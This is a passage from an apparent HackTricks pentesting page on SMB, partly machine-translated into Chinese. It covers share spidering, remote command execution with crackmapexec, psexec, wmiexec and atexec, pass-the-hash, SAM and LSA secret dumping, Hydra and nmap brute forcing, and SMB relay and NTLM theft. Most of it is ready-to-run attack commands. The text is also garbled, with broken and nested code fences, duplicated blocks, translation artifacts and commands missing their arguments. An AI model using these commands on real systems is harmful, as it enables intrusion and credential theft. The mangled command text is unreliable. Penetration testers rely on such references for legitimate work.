]`
* `--pattern txt`
```bash
```
sudo crackmapexec smb 10.10.10.10 -u 用户名 -p 密码 -M spider_plus --share '部门共享'
```
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
```markdown
## SMB (Server Message Block) 渗透测试
### smbclient --kerberos //ws01win10.domain.com/C$
使用 `smbclient` 命令与 SMB 服务器建立连接，并使用 Kerberos 身份验证。连接的目标是 `ws01win10.domain.com` 主机上的共享文件夹 `C$`。
### rpcclient -k ws01win10.domain.com
使用 `rpcclient` 命令与 SMB 服务器建立连接，并使用 Kerberos 身份验证。连接的目标是 `ws01win10.domain.com` 主机。
```
```html
SMB (Server Message Block) 渗透测试
smbclient --kerberos //ws01win10.domain.com/C$
使用 smbclient 命令与 SMB 服务器建立连接，并使用 Kerberos 身份验证。连接的目标是 ws01win10.domain.com 主机上的共享文件夹 C$。
rpcclient -k ws01win10.domain.com
使用 rpcclient 命令与 SMB 服务器建立连接，并使用 Kerberos 身份验证。连接的目标是 ws01win10.domain.com 主机。
```
```
## **Execute Commands**
### **crackmapexec**
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
```markdown
安装crackmapexec：
```
```shell
apt-get install crackmapexec
```
```markdown
执行Powershell命令：
```
```shell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
```
```markdown
执行cmd命令：
```
```shell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
```
```markdown
使用Pass-the-Hash技术：
```
```shell
crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami
```
```markdown
使用不同的执行方法：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --exec-method {mmcexec,smbexec,atexec,wmiexec}
```
```markdown
获取SAM信息：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --sam
```
```markdown
获取LSASS内存哈希：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --lsa
```
```markdown
获取会话信息：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --sessions
```
```markdown
获取已登录用户：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --loggedon-users
```
```markdown
枚举磁盘：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --disks
```
```markdown
枚举用户：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --users
```
```markdown
枚举组：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --groups
```
```markdown
枚举本地组：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --local-groups
```
```markdown
获取密码策略：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --pass-pol
```
```markdown
使用RID暴力破解：
```
```shell
crackmapexec smb -d -u Administrator -p 'password' --rid-brute
```
```markdown
使用Pass-The-Hash技术：
```
```shell
crackmapexec smb -d -u Administrator -H
```
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#如果没有提供密码，将会提示输入
./psexec.py [[domain/]username[:password]@]
./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # 使用Pass-the-Hash
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#如果没有提供密码，将会提示输入密码
./wmiexec.py [[domain/]username[:password]@] #提示输入密码
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #传递哈希
#您可以在命令的末尾添加要执行的CMD命令，如果不这样做，将提示一个半交互式shell
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#如果没有提供密码，将会提示输入密码
./dcomexec.py [[domain/]username[:password]@]
./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash
#您可以在命令的末尾添加要执行的CMD命令，如果不这样做，将提示一个半交互式shell
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
```
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
```
```
./atexec.py [[域/]用户名[:密码]@]<目标名称或地址> "命令"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
```
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
```shell
nmap --script smb-brute -p 445
ridenum.py 500 50000 /root/passwds.txt #使用ridenum.py脚本对rid进行暴力破解，然后尝试对每个用户名进行暴力破解
```
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
.png>)
### SMBTrap using MitMf
.png>)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks Automatic Commands
```
协议名称：SMB
端口号：137、138、139
协议描述：服务器消息块
条目1：
名称：笔记
描述：SMB的笔记
注意：|
虽然端口139在技术上被称为“NBT over IP”，端口445是“SMB over IP”。SMB代表“服务器消息块”。现代语言中，服务器消息块也被称为常见的Internet文件系统。该系统作为应用层网络协议主要用于在网络上的节点之间提供共享访问文件、打印机、串口和其他通信方式。
#每当我看到一个开放的SMB端口时，我按照以下顺序运行这些命令
无凭证
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
有凭证
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
条目2：
名称：Enum4Linux
描述：常规SMB扫描
命令：enum4linux -a {IP}
条目3：
名称：Nmap SMB扫描1
描述：使用Nmap进行SMB漏洞扫描
命令：nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
条目4：
名称：Nmap SMB扫描2
描述：使用Nmap进行SMB漏洞扫描（不太具体）
命令：nmap --script smb-vuln* -Pn -p 139,445 {IP}
条目5：
名称：Hydra暴力破解
描述：需要用户名
命令：hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
条目6：
名称：SMB/SMB2 139/445无需运行msfconsole的mfs枚举
描述：SMB/SMB2 139/445枚举，无需运行msfconsole
注意：来源于https://github.com/carlospolop/legion
命令：msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.